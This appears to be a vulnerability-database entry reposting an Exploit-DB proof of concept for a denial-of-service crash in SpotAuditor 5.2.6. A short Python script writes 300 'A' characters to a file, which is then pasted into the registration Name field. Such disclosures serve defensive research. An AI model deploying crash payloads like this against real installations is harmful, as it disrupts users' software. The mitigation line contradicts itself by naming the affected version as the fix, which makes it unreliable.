SpotAuditor 5.2.6 - 'Name' Denial of Service (PoC)

vendor:

SpotAuditor

by:

Victor Mondragón

7.8

CVSS

HIGH

Denial of Service

400

CWE

Product Name: SpotAuditor

Affected Version From: 5.2.6

Affected Version To: 5.2.6

Patch Exists: YES

Related CWE: N/A

CPE: spotauditor

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1

2019

SpotAuditor 5.2.6 – ‘Name’ Denial of Service (PoC)

A vulnerability in SpotAuditor 5.2.6 allows an attacker to cause a denial of service (DoS) condition by sending a specially crafted input to the 'Name' field when registering the application. This can be exploited by an attacker to crash the application.

Mitigation:

Upgrade to the latest version of SpotAuditor 5.2.6 or later.

Source

Exploit-DB raw data:

#Exploit Title: SpotAuditor 5.2.6 - 'Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-27
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
#Tested Version: 5.2.6
#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Spotauditor_name_5.2.6.py
#2.- Open Spotauditor_name.txt and copy content to clipboard
#3.- Open SpotAuditor
#4.- Select "Register" > "Enter Registration Code..."
#5.- In "Name" paste Clipboard
#6.- In Key type "test"
#7.- Click "Ok"
#8.- Crarshed
 
cod = "\x41" * 300
 
f = open('Spotauditor_name.txt', 'w')
f.write(cod)
f.close()